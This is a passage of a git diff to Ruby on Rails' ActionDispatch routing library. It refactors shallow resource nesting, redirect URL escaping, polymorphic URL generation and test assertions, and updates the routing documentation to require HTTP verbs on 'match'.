index a9ac2bce1d..9cd884daa3 100644
--- a/actionpack/lib/action_dispatch/routing.rb
+++ b/actionpack/lib/action_dispatch/routing.rb
@@ -11,7 +11,7 @@ module ActionDispatch
# Think of creating routes as drawing a map for your requests. The map tells
# them where to go based on some predefined pattern:
#
- # AppName::Application.routes.draw do
+ # Rails.application.routes.draw do
# Pattern 1 tells some request to go to one place
# Pattern 2 tell them to go to another
# ...
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
index cffb814e1e..71a0c5e826 100644
--- a/actionpack/lib/action_dispatch/routing/inspector.rb
+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -69,7 +69,7 @@ module ActionDispatch
end
def internal?
- controller.to_s =~ %r{\Arails/(info|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}}
+ controller.to_s =~ %r{\Arails/(info|mailers|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}\z}
end
def engine?
@@ -179,7 +179,8 @@ module ActionDispatch
private
def draw_section(routes)
- name_width, verb_width, path_width = widths(routes)
+ header_lengths = ['Prefix', 'Verb', 'URI Pattern'].map(&:length)
+ name_width, verb_width, path_width = widths(routes).zip(header_lengths).map(&:max)
routes.map do |r|
"#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
@@ -193,9 +194,9 @@ module ActionDispatch
end
def widths(routes)
- [routes.map { |r| r[:name].length }.max,
- routes.map { |r| r[:verb].length }.max,
- routes.map { |r| r[:path].length }.max]
+ [routes.map { |r| r[:name].length }.max || 0,
+ routes.map { |r| r[:verb].length }.max || 0,
+ routes.map { |r| r[:path].length }.max || 0]
end
end
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index ff33d87901..6c4c7c8d80 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -3,6 +3,7 @@ require 'active_support/core_ext/hash/reverse_merge'
require 'active_support/core_ext/hash/slice'
require 'active_support/core_ext/enumerable'
require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/module/remove_method'
require 'active_support/inflector'
require 'action_dispatch/routing/redirection'
@@ -147,14 +148,16 @@ module ActionDispatch
@defaults.merge!(options[:defaults]) if options[:defaults]
options.each do |key, default|
- next if Regexp === default || IGNORE_OPTIONS.include?(key)
- @defaults[key] = default
+ unless Regexp === default || IGNORE_OPTIONS.include?(key)
+ @defaults[key] = default
+ end
end
if options[:constraints].is_a?(Hash)
options[:constraints].each do |key, default|
- next unless URL_OPTIONS.include?(key) && (String === default || Fixnum === default)
- @defaults[key] ||= default
+ if URL_OPTIONS.include?(key) && (String === default || Fixnum === default)
+ @defaults[key] ||= default
+ end
end
elsif options[:constraints]
verify_callable_constraint(options[:constraints])
@@ -173,19 +176,21 @@ module ActionDispatch
end
def normalize_conditions!
- @conditions.merge!(:path_info => path)
+ @conditions[:path_info] = path
constraints.each do |key, condition|
- next if segment_keys.include?(key) || key == :controller
- @conditions[key] = condition
+ unless segment_keys.include?(key) || key == :controller
+ @conditions[key] = condition
+ end
end
- @conditions[:required_defaults] = []
+ required_defaults = []
options.each do |key, required_default|
- next if segment_keys.include?(key) || IGNORE_OPTIONS.include?(key)
- next if Regexp === required_default
- @conditions[:required_defaults] << key
+ unless segment_keys.include?(key) || IGNORE_OPTIONS.include?(key) || Regexp === required_default
+ required_defaults << key
+ end
end
+ @conditions[:required_defaults] = required_defaults
via_all = options.delete(:via) if options[:via] == :all
@@ -199,8 +204,7 @@ module ActionDispatch
end
if via = options[:via]
- list = Array(via).map { |m| m.to_s.dasherize.upcase }
- @conditions.merge!(:request_method => list)
+ @conditions[:request_method] = Array(via).map { |m| m.to_s.dasherize.upcase }
end
end
@@ -221,8 +225,12 @@ module ActionDispatch
controller ||= default_controller
action ||= default_action
- unless controller.is_a?(Regexp)
- controller = [@scope[:module], controller].compact.join("/").presence
+ if @scope[:module] && !controller.is_a?(Regexp)
+ if controller =~ %r{\A/}
+ controller = controller[1..-1]
+ else
+ controller = [@scope[:module], controller].compact.join("/").presence
+ end
end
if controller.is_a?(String) && controller =~ %r{\A/}
@@ -233,11 +241,13 @@ module ActionDispatch
action = action.to_s unless action.is_a?(Regexp)
if controller.blank? && segment_keys.exclude?(:controller)
- raise ArgumentError, "missing :controller"
+ message = "Missing :controller key on routes definition, please check your routes."
+ raise ArgumentError, message
end
if action.blank? && segment_keys.exclude?(:action)
- raise ArgumentError, "missing :action"
+ message = "Missing :action key on routes definition, please check your routes."
+ raise ArgumentError, message
end
if controller.is_a?(String) && controller !~ /\A[a-z_0-9\/]*\z/
@@ -337,40 +347,61 @@ module ActionDispatch
match '/', { :as => :root, :via => :get }.merge!(options)
end
- # Matches a url pattern to one or more routes. Any symbols in a pattern
- # are interpreted as url query parameters and thus available as +params+
- # in an action:
+ # Matches a url pattern to one or more routes.
+ #
+ # You should not use the `match` method in your router
+ # without specifying an HTTP method.
+ #
+ # If you want to expose your action to both GET and POST, use:
#
# # sets :controller, :action and :id in params
- # match ':controller/:action/:id'
+ # match ':controller/:action/:id', via: [:get, :post]
+ #
+ # Note that +:controller+, +:action+ and +:id+ are interpreted as url
+ # query parameters and thus available through +params+ in an action.
+ #
+ # If you want to expose your action to GET, use `get` in the router:
+ #
+ # Instead of:
+ #
+ # match ":controller/:action/:id"
+ #
+ # Do:
+ #
+ # get ":controller/:action/:id"
#
# Two of these symbols are special, +:controller+ maps to the controller
# and +:action+ to the controller's action. A pattern can also map
# wildcard segments (globs) to params:
#
- # match 'songs/*category/:title', to: 'songs#show'
+ # get 'songs/*category/:title', to: 'songs#show'
#
# # 'songs/rock/classic/stairway-to-heaven' sets
# # params[:category] = 'rock/classic'
# # params[:title] = 'stairway-to-heaven'
#
+ # To match a wildcard parameter, it must have a name assigned to it.
+ # Without a variable name to attach the glob parameter to, the route
+ # can't be parsed.
+ #
# When a pattern points to an internal route, the route's +:action+ and
# +:controller+ should be set in options or hash shorthand. Examples:
#
- # match 'photos/:id' => 'photos#show'
- # match 'photos/:id', to: 'photos#show'
- # match 'photos/:id', controller: 'photos', action: 'show'
+ # match 'photos/:id' => 'photos#show', via: :get
+ # match 'photos/:id', to: 'photos#show', via: :get
+ # match 'photos/:id', controller: 'photos', action: 'show', via: :get
#
# A pattern can also point to a +Rack+ endpoint i.e. anything that
# responds to +call+:
#
- # match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }
- # match 'photos/:id', to: PhotoRackApp
+ # match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }, via: :get
+ # match 'photos/:id', to: PhotoRackApp, via: :get
# # Yes, controller actions are just rack endpoints
- # match 'photos/:id', to: PhotosController.action(:show)
+ # match 'photos/:id', to: PhotosController.action(:show), via: :get
#
- # Because request various HTTP verbs with a single action has security
- # implications, is recommendable use HttpHelpers[rdoc-ref:HttpHelpers]
+ # Because requesting various HTTP verbs with a single action has security
+ # implications, you must either specify the actions in
+ # the via options or use one of the HtttpHelpers[rdoc-ref:HttpHelpers]
# instead +match+
#
# === Options
@@ -389,8 +420,8 @@ module ActionDispatch
# [:module]
# The namespace for :controller.
#
- # match 'path', to: 'c#a', module: 'sekret', controller: 'posts'
- # #=> Sekret::PostsController
+ # match 'path', to: 'c#a', module: 'sekret', controller: 'posts', via: :get
+ # # => Sekret::PostsController
#
# See <tt>Scoping#namespace</tt> for its scope equivalent.
#
@@ -408,9 +439,9 @@ module ActionDispatch
# Points to a +Rack+ endpoint. Can be an object that responds to
# +call+ or a string representing a controller's action.
#
- # match 'path', to: 'controller#action'
- # match 'path', to: lambda { |env| [200, {}, ["Success!"]] }
- # match 'path', to: RackApp
+ # match 'path', to: 'controller#action', via: :get
+ # match 'path', to: lambda { |env| [200, {}, ["Success!"]] }, via: :get
+ # match 'path', to: RackApp, via: :get
#
# [:on]
# Shorthand for wrapping routes in a specific RESTful context. Valid
@@ -435,14 +466,14 @@ module ActionDispatch
# other than path can also be specified with any object
# that responds to <tt>===</tt> (eg. String, Array, Range, etc.).
#
- # match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }
+ # match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }, via: :get
#
- # match 'json_only', constraints: { format: 'json' }
+ # match 'json_only', constraints: { format: 'json' }, via: :get
#
- # class Blacklist
+ # class Whitelist
# def matches?(request) request.remote_ip == '1.2.3.4' end
# end
- # match 'path', to: 'c#a', constraints: Blacklist.new
+ # match 'path', to: 'c#a', constraints: Whitelist.new, via: :get
#
# See <tt>Scoping#constraints</tt> for more examples with its scope
# equivalent.
@@ -451,7 +482,7 @@ module ActionDispatch
# Sets defaults for parameters
#
# # Sets params[:format] to 'jpg' by default
- # match 'path', to: 'c#a', defaults: { format: 'jpg' }
+ # match 'path', to: 'c#a', defaults: { format: 'jpg' }, via: :get
#
# See <tt>Scoping#defaults</tt> for its scope equivalent.
#
@@ -460,7 +491,7 @@ module ActionDispatch
# false, the pattern matches any request prefixed with the given path.
#
# # Matches any request starting with 'path'
- # match 'path', to: 'c#a', anchor: false
+ # match 'path', to: 'c#a', anchor: false, via: :get
#
# [:format]
# Allows you to specify the default value for optional +format+
@@ -503,11 +534,12 @@ module ActionDispatch
raise "A rack application must be specified" unless path
options[:as] ||= app_name(app)
+ target_as = name_for_action(options[:as], path)
options[:via] ||= :all
match(path, options.merge(:to => app, :anchor => false, :format => false))
- define_generate_prefix(app, options[:as])
+ define_generate_prefix(app, target_as)
self
end
@@ -546,11 +578,11 @@ module ActionDispatch
_routes = @set
app.routes.define_mounted_helper(name)
app.routes.singleton_class.class_eval do
- define_method :mounted? do
+ redefine_method :mounted? do
true
end
- define_method :_generate_prefix do |options|
+ redefine_method :_generate_prefix do |options|
prefix_options = options.slice(*_route.segment_keys)
# we must actually delete prefix segment keys to avoid passing them to next url_for
_route.segment_keys.each { |k| options.delete(k) }
@@ -702,6 +734,11 @@ module ActionDispatch
options[:path] = args.flatten.join('/') if args.any?
options[:constraints] ||= {}
+ unless nested_scope?
+ options[:shallow_path] ||= options[:path] if options.key?(:path)
+ options[:shallow_prefix] ||= options[:as] if options.key?(:as)
+ end
+
if options[:constraints].is_a?(Hash)
defaults = options[:constraints].select do
|k, v| URL_OPTIONS.include?(k) && (v.is_a?(String) || v.is_a?(Fixnum))
@@ -783,9 +820,16 @@ module ActionDispatch
# end
def namespace(path, options = {})
path = path.to_s
- options = { :path => path, :as => path, :module => path,
- :shallow_path => path, :shallow_prefix => path }.merge!(options)
- scope(options) { yield }
+
+ defaults = {
+ module: path,
+ path: options.fetch(:path, path),
+ as: options.fetch(:as, path),
+ shallow_path: options.fetch(:path, path),
+ shallow_prefix: options.fetch(:as, path)
+ }
+
+ scope(defaults.merge!(options)) { yield }
end
# === Parameter Restriction
@@ -974,6 +1018,7 @@ module ActionDispatch
@as = options[:as]
@param = (options[:param] || :id).to_sym
@options = options
+ @shallow = false
end
def default_actions
@@ -1034,6 +1079,13 @@ module ActionDispatch
"#{path}/:#{nested_param}"
end
+ def shallow=(value)
+ @shallow = value
+ end
+
+ def shallow?
+ @shallow
+ end
end
class SingletonResource < Resource #:nodoc:
@@ -1073,18 +1125,18 @@ module ActionDispatch
# a singular resource to map /profile (rather than /profile/:id) to
# the show action:
#
- # resource :geocoder
+ # resource :profile
#
# creates six different routes in your application, all mapping to
- # the +GeoCoders+ controller (note that the controller is named after
+ # the +Profiles+ controller (note that the controller is named after
# the plural):
#
- # GET /geocoder/new
- # POST /geocoder
- # GET /geocoder
- # GET /geocoder/edit
- # PATCH/PUT /geocoder
- # DELETE /geocoder
+ # GET /profile/new
+ # POST /profile
+ # GET /profile
+ # GET /profile/edit
+ # PATCH/PUT /profile
+ # DELETE /profile
#
# === Options
# Takes same options as +resources+.
@@ -1314,8 +1366,10 @@ module ActionDispatch
end
with_scope_level(:member) do
- scope(parent_resource.member_scope) do
- yield
+ if shallow?
+ shallow_scope(parent_resource.member_scope) { yield }
+ else
+ scope(parent_resource.member_scope) { yield }
end
end
end
@@ -1338,16 +1392,8 @@ module ActionDispatch
end
with_scope_level(:nested) do
- if shallow?
- with_exclusive_scope do
- if @scope[:shallow_path].blank?
- scope(parent_resource.nested_scope, nested_options) { yield }
- else
- scope(@scope[:shallow_path], :as => @scope[:shallow_prefix]) do
- scope(parent_resource.nested_scope, nested_options) { yield }
- end
- end
- end
+ if shallow? && shallow_nesting_depth > 1
+ shallow_scope(parent_resource.nested_scope, nested_options) { yield }
else
scope(parent_resource.nested_scope, nested_options) { yield }
end
@@ -1364,7 +1410,7 @@ module ActionDispatch
end
def shallow
- scope(:shallow => true, :shallow_path => @scope[:path]) do
+ scope(:shallow => true) do
yield
end
end
@@ -1405,6 +1451,7 @@ module ActionDispatch
path_without_format = _path.to_s.sub(/\(\.:format\)$/, '')
if using_match_shorthand?(path_without_format, route_options)
route_options[:to] ||= path_without_format.gsub(%r{^/}, "").sub(%r{/([^/]*)$}, '#\1')
+ route_options[:to].tr!("-", "_")
end
decomposed_match(_path, route_options)
@@ -1435,8 +1482,8 @@ module ActionDispatch
path = path_for_action(action, options.delete(:path))
action = action.to_s.dup
- if action =~ /^[\w\/]+$/
- options[:action] ||= action unless action.include?("/")
+ if action =~ /^[\w\-\/]+$/
+ options[:action] ||= action.tr('-', '_') unless action.include?("/")
else
action = nil
end
@@ -1484,6 +1531,13 @@ module ActionDispatch
return true
end
+ if options.delete(:shallow)
+ shallow do
+ send(method, resources.pop, options, &block)
+ end
+ return true
+ end
+
if resource_scope?
nested { send(method, resources.pop, options, &block) }
return true
@@ -1528,6 +1582,10 @@ module ActionDispatch
RESOURCE_METHOD_SCOPES.include? @scope[:scope_level]
end
+ def nested_scope? #:nodoc:
+ @scope[:scope_level] == :nested
+ end
+
def with_exclusive_scope
begin
old_name_prefix, old_path = @scope[:as], @scope[:path]
@@ -1541,21 +1599,24 @@ module ActionDispatch
end
end
- def with_scope_level(kind, resource = parent_resource)
+ def with_scope_level(kind)
old, @scope[:scope_level] = @scope[:scope_level], kind
- old_resource, @scope[:scope_level_resource] = @scope[:scope_level_resource], resource
yield
ensure
@scope[:scope_level] = old
- @scope[:scope_level_resource] = old_resource
end
def resource_scope(kind, resource) #:nodoc:
- with_scope_level(kind, resource) do
- scope(parent_resource.resource_scope) do
- yield
- end
+ resource.shallow = @scope[:shallow]
+ old_resource, @scope[:scope_level_resource] = @scope[:scope_level_resource], resource
+ @nesting.push(resource)
+
+ with_scope_level(kind) do
+ scope(parent_resource.resource_scope) { yield }
end
+ ensure
+ @nesting.pop
+ @scope[:scope_level_resource] = old_resource
end
def nested_options #:nodoc:
@@ -1567,6 +1628,14 @@ module ActionDispatch
options
end
+ def nesting_depth #:nodoc:
+ @nesting.size
+ end
+
+ def shallow_nesting_depth #:nodoc:
+ @nesting.select(&:shallow?).size
+ end
+
def param_constraint? #:nodoc:
@scope[:constraints] && @scope[:constraints][parent_resource.param].is_a?(Regexp)
end
@@ -1579,18 +1648,20 @@ module ActionDispatch
flag && resource_method_scope? && CANONICAL_ACTIONS.include?(action.to_s)
end
- def shallow_scoping? #:nodoc:
- shallow? && @scope[:scope_level] == :member
+ def shallow_scope(path, options = {}) #:nodoc:
+ old_name_prefix, old_path = @scope[:as], @scope[:path]
+ @scope[:as], @scope[:path] = @scope[:shallow_prefix], @scope[:shallow_path]
+
+ scope(path, options) { yield }
+ ensure
+ @scope[:as], @scope[:path] = old_name_prefix, old_path
end
def path_for_action(action, path) #:nodoc:
- prefix = shallow_scoping? ?
- "#{@scope[:shallow_path]}/#{parent_resource.shallow_scope}" : @scope[:path]
-
if canonical_action?(action, path.blank?)
- prefix.to_s
+ @scope[:path].to_s
else
- "#{prefix}/#{action_path(action, path)}"
+ "#{@scope[:path]}/#{action_path(action, path)}"
end
end
@@ -1601,10 +1672,11 @@ module ActionDispatch
def prefix_name_for_action(as, action) #:nodoc:
if as
- as.to_s
+ prefix = as
elsif !canonical_action?(action, @scope[:scope_level])
- action.to_s
+ prefix = action
end
+ prefix.to_s.tr('-', '_') if prefix
end
def name_for_action(as, action) #:nodoc:
@@ -1627,7 +1699,7 @@ module ActionDispatch
when :new
[prefix, :new, name_prefix, member_name]
when :member
- [prefix, shallow_scoping? ? @scope[:shallow_prefix] : name_prefix, member_name]
+ [prefix, name_prefix, member_name]
when :root
[name_prefix, collection_name, prefix]
else
@@ -1768,6 +1840,7 @@ module ActionDispatch
@set = set
@scope = { :path_names => @set.resources_path_names }
@concerns = {}
+ @nesting = []
end
include Base
diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
index 6d3f8da932..b800ee6448 100644
--- a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
+++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
@@ -74,6 +74,19 @@ module ActionDispatch
# * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
# Default is <tt>:url</tt>.
#
+ # Also includes all the options from <tt>url_for</tt>. These include such
+ # things as <tt>:anchor</tt> or <tt>:trailing_slash</tt>. Example usage
+ # is given below:
+ #
+ # polymorphic_url([blog, post], anchor: 'my_anchor')
+ # # => "http://example.com/blogs/1/posts/1#my_anchor"
+ # polymorphic_url([blog, post], anchor: 'my_anchor', script_name: "/my_app")
+ # # => "http://example.com/my_app/blogs/1/posts/1#my_anchor"
+ #
+ # For all of these options, see the documentation for <tt>url_for</tt>.
+ #
+ # ==== Functionality
+ #
# # an Article record
# polymorphic_url(record) # same as article_url(record)
#
@@ -88,10 +101,15 @@ module ActionDispatch
# polymorphic_url(Comment) # same as comments_url()
#
def polymorphic_url(record_or_hash_or_array, options = {})
+ recipient = self
+
if record_or_hash_or_array.kind_of?(Array)
- record_or_hash_or_array = record_or_hash_or_array.compact
+ if record_or_hash_or_array.include? nil
+ raise ArgumentError, "Nil location provided. Can't build URI."
+ end
+ record_or_hash_or_array = record_or_hash_or_array.dup
if record_or_hash_or_array.first.is_a?(ActionDispatch::Routing::RoutesProxy)
- proxy = record_or_hash_or_array.shift
+ recipient = record_or_hash_or_array.shift
end
record_or_hash_or_array = record_or_hash_or_array[0] if record_or_hash_or_array.size == 1
end
@@ -117,16 +135,16 @@ module ActionDispatch
end
args.delete_if {|arg| arg.is_a?(Symbol) || arg.is_a?(String)}
- named_route = build_named_route_call(record_or_hash_or_array, inflection, options)
+ named_route = build_named_route_call(record_or_hash_or_array, record, inflection, options)
url_options = options.except(:action, :routing_type)
unless url_options.empty?
- args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options
+ args << url_options
end
args.collect! { |a| convert_to_model(a) }
- (proxy || self).send(named_route, *args)
+ recipient.send(named_route, *args)
end
# Returns the path component of a URL for the given record. It uses
@@ -160,7 +178,7 @@ module ActionDispatch
options[:routing_type] || :url
end
- def build_named_route_call(records, inflection, options = {})
+ def build_named_route_call(records, record, inflection, options = {})
if records.is_a?(Array)
record = records.pop
route = records.map do |parent|
@@ -171,7 +189,6 @@ module ActionDispatch
end
end
else
- record = extract_record(records)
route = []
end
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
index d751e04e6a..b08e62543b 100644
--- a/actionpack/lib/action_dispatch/routing/redirection.rb
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -17,7 +17,7 @@ module ActionDispatch
def call(env)
req = Request.new(env)
- # If any of the path parameters has a invalid encoding then
+ # If any of the path parameters has an invalid encoding then
# raise since it's likely to trigger errors further on.
req.symbolized_path_parameters.each do |key, value|
unless value.valid_encoding?
@@ -26,6 +26,15 @@ module ActionDispatch
end
uri = URI.parse(path(req.symbolized_path_parameters, req))
+
+ unless uri.host
+ if relative_path?(uri.path)
+ uri.path = "#{req.script_name}/#{uri.path}"
+ elsif uri.path.empty?
+ uri.path = req.script_name.empty? ? "/" : req.script_name
+ end
+ end
+
uri.scheme ||= req.scheme
uri.host ||= req.host
uri.port ||= req.port unless req.standard_port?
@@ -48,11 +57,38 @@ module ActionDispatch
def inspect
"redirect(#{status})"
end
+
+ private
+ def relative_path?(path)
+ path && !path.empty? && path[0] != '/'
+ end
+
+ def escape(params)
+ Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+ end
+
+ def escape_fragment(params)
+ Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_fragment(v)] }]
+ end
+
+ def escape_path(params)
+ Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_path(v)] }]
+ end
end
class PathRedirect < Redirect
+ URL_PARTS = /\A([^?]+)?(\?[^#]+)?(#.+)?\z/
+
def path(params, request)
- (params.empty? || !block.match(/%\{\w*\}/)) ? block : (block % escape(params))
+ if block.match(URL_PARTS)
+ path = interpolation_required?($1, params) ? $1 % escape_path(params) : $1
+ query = interpolation_required?($2, params) ? $2 % escape(params) : $2
+ fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3
+
+ "#{path}#{query}#{fragment}"
+ else
+ interpolation_required?(block, params) ? block % escape(params) : block
+ end
end
def inspect
@@ -60,8 +96,8 @@ module ActionDispatch
end
private
- def escape(params)
- Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+ def interpolation_required?(string, params)
+ !params.empty? && string && string.match(/%\{\w*\}/)
end
end
@@ -81,17 +117,22 @@ module ActionDispatch
url_options[:path] = (url_options[:path] % escape_path(params))
end
+ unless options[:host] || options[:domain]
+ if relative_path?(url_options[:path])
+ url_options[:path] = "/#{url_options[:path]}"
+ url_options[:script_name] = request.script_name
+ elsif url_options[:path].empty?
+ url_options[:path] = request.script_name.empty? ? "/" : ""
+ url_options[:script_name] = request.script_name
+ end
+ end
+
ActionDispatch::Http::URL.url_for url_options
end
def inspect
"redirect(#{status}, #{options.map{ |k,v| "#{k}: #{v}" }.join(', ')})"
end
-
- private
- def escape_path(params)
- Hash[params.map{ |k,v| [k, URI.parser.escape(v)] }]
- end
end
module Redirection
@@ -104,6 +145,10 @@ module ActionDispatch
#
# get 'docs/:article', to: redirect('/wiki/%{article}')
#
+ # Note that if you return a path without a leading slash then the url is prefixed with the
+ # current SCRIPT_NAME environment variable. This is typically '/' but may be different in
+ # a mounted engine or where the application is deployed to a subdirectory of a website.
+ #
# Alternatively you can use one of the other syntaxes:
#
# The block version of redirect allows for the easy encapsulation of any logic associated with
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
index 3ae9f92c0b..1ec6fa674b 100644
--- a/actionpack/lib/action_dispatch/routing/route_set.rb
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -28,7 +28,7 @@ module ActionDispatch
def call(env)
params = env[PARAMETERS_KEY]
- # If any of the path parameters has a invalid encoding then
+ # If any of the path parameters has an invalid encoding then
# raise since it's likely to trigger errors further on.
params.each do |key, value|
next unless value.respond_to?(:valid_encoding?)
@@ -155,7 +155,7 @@ module ActionDispatch
end
def self.optimize_helper?(route)
- route.requirements.except(:controller, :action).empty?
+ !route.glob? && route.requirements.except(:controller, :action).empty?
end
class OptimizedUrlHelper < UrlHelper # :nodoc:
@@ -163,9 +163,10 @@ module ActionDispatch
def initialize(route, options)
super
- @path_parts = @route.required_parts
- @arg_size = @path_parts.size
- @string_route = @route.optimized_path
+ @klass = Journey::Router::Utils
+ @required_parts = @route.required_parts
+ @arg_size = @required_parts.size
+ @optimized_path = @route.optimized_path
end
def call(t, args)
@@ -182,26 +183,44 @@ module ActionDispatch
private
def optimized_helper(args)
- path = @string_route.dup
- klass = Journey::Router::Utils
-
- @path_parts.zip(args) do |part, arg|
- # Replace each route parameter
- # e.g. :id for regular parameter or *path for globbing
- # with ruby string interpolation code
- path.gsub!(/(\*|:)#{part}/, klass.escape_fragment(arg.to_param))
+ params = Hash[parameterize_args(args)]
+ missing_keys = missing_keys(params)
+
+ unless missing_keys.empty?
+ raise_generation_error(params, missing_keys)
end
- path
+
+ @optimized_path.map{ |segment| replace_segment(params, segment) }.join
+ end
+
+ def replace_segment(params, segment)
+ Symbol === segment ? @klass.escape_segment(params[segment]) : segment
end
def optimize_routes_generation?(t)
t.send(:optimize_routes_generation?)
end
+
+ def parameterize_args(args)
+ @required_parts.zip(args.map(&:to_param))
+ end
+
+ def missing_keys(args)
+ args.select{ |part, arg| arg.nil? || arg.empty? }.keys
+ end
+
+ def raise_generation_error(args, missing_keys)
+ constraints = Hash[@route.requirements.merge(args).sort]
+ message = "No route matches #{constraints.inspect}"
+ message << " missing required keys: #{missing_keys.sort.inspect}"
+
+ raise ActionController::UrlGenerationError, message
+ end
end
def initialize(route, options)
@options = options
- @segment_keys = route.segment_keys
+ @segment_keys = route.segment_keys.uniq
@route = route
end
@@ -336,7 +355,7 @@ module ActionDispatch
include UrlFor
end
- # Contains all the mounted helpers accross different
+ # Contains all the mounted helpers across different
# engines and the `main_app` helper for the application.
# You can include this in your classes if you want to
# access routes for other engines.
@@ -489,11 +508,12 @@ module ActionDispatch
@recall = recall.dup
@set = set
+ normalize_recall!
normalize_options!
normalize_controller_action_id!
use_relative_controller!
normalize_controller!
- handle_nil_action!
+ normalize_action!
end
def controller
@@ -512,6 +532,11 @@ module ActionDispatch
end
end
+ # Set 'index' as default action for recall
+ def normalize_recall!
+ @recall[:action] ||= 'index'
+ end
+
def normalize_options!
# If an explicit :controller was given, always make :action explicit
# too, so that action expiry works as expected for things like
@@ -527,8 +552,8 @@ module ActionDispatch
options[:controller] = options[:controller].to_s
end
- if options[:action]
- options[:action] = options[:action].to_s
+ if options.key?(:action)
+ options[:action] = (options[:action] || 'index').to_s
end
end
@@ -538,8 +563,6 @@ module ActionDispatch
# :controller, :action or :id is not found, don't pull any
# more keys from the recall.
def normalize_controller_action_id!
- @recall[:action] ||= 'index' if current_controller
-
use_recall_for(:controller) or return
use_recall_for(:action) or return
use_recall_for(:id)
@@ -561,13 +584,11 @@ module ActionDispatch
@options[:controller] = controller.sub(%r{^/}, '') if controller
end
- # This handles the case of action: nil being explicitly passed.
- # It is identical to action: "index"
- def handle_nil_action!
- if options.has_key?(:action) && options[:action].nil?
- options[:action] = 'index'
+ # Move 'index' action from options to recall
+ def normalize_action!
+ if @options[:action] == 'index'
+ @recall[:action] = @options.delete(:action)
end
- recall[:action] = options.delete(:action) if options[:action] == 'index'
end
# Generates a path from routes, returns [path, params].
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
index 8e19025722..4a0ef40873 100644
--- a/actionpack/lib/action_dispatch/routing/url_for.rb
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -20,7 +20,7 @@ module ActionDispatch
#
# <%= link_to('Click here', controller: 'users',
# action: 'new', message: 'Welcome!') %>
- # # => "/users/new?message=Welcome%21"
+ # # => <a href="/users/new?message=Welcome%21">Click here</a>
#
# link_to, and all other functions that require URL generation functionality,
# actually use ActionController::UrlFor under the hood. And in particular,
@@ -155,6 +155,8 @@ module ActionDispatch
_routes.url_for(options.symbolize_keys.reverse_merge!(url_options))
when String
options
+ when Array
+ polymorphic_url(options, options.extract_options!)
else
polymorphic_url(options)
end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/dom.rb b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
index 8f90a1223e..241a39393a 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/dom.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
@@ -7,20 +7,20 @@ module ActionDispatch
#
# # assert that the referenced method generates the appropriate HTML string
# assert_dom_equal '<a href="http://www.example.com">Apples</a>', link_to("Apples", "http://www.example.com")
- def assert_dom_equal(expected, actual, message = "")
+ def assert_dom_equal(expected, actual, message = nil)
expected_dom = HTML::Document.new(expected).root
actual_dom = HTML::Document.new(actual).root
- assert_equal expected_dom, actual_dom
+ assert_equal expected_dom, actual_dom, message
end
# The negated form of +assert_dom_equivalent+.
#
# # assert that the referenced method does not generate the specified HTML string
# assert_dom_not_equal '<a href="http://www.example.com">Apples</a>', link_to("Oranges", "http://www.example.com")
- def assert_dom_not_equal(expected, actual, message = "")
+ def assert_dom_not_equal(expected, actual, message = nil)
expected_dom = HTML::Document.new(expected).root
actual_dom = HTML::Document.new(actual).root
- assert_not_equal expected_dom, actual_dom
+ assert_not_equal expected_dom, actual_dom, message
end
end
end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb
index 44ed0ac1f3..68feb26936 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/response.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb
@@ -27,6 +27,9 @@ module ActionDispatch
assert @response.send("#{type}?"), message
else
code = Rack::Utils::SYMBOL_TO_STATUS_CODE[type]
+ if code.nil?
+ raise ArgumentError, "Invalid response type :#{type}"
+ end
assert_equal code, @response.response_code, message
end
else
@@ -67,21 +70,11 @@ module ActionDispatch
end
def normalize_argument_to_redirection(fragment)
- normalized = case fragment
- when Regexp
- fragment
- when %r{^\w[A-Za-z\d+.-]*:.*}
- fragment
- when String
- @request.protocol + @request.host_with_port + fragment
- when :back
- raise RedirectBackError unless refer = @request.headers["Referer"]
- refer
- else
- @controller.url_for(fragment)
- end
-
- normalized.respond_to?(:delete) ? normalized.delete("\0\r\n") : normalized
+ if Regexp === fragment
+ fragment
+ else
+ @controller._compute_redirect_to_location(fragment)
+ end
end
end
end
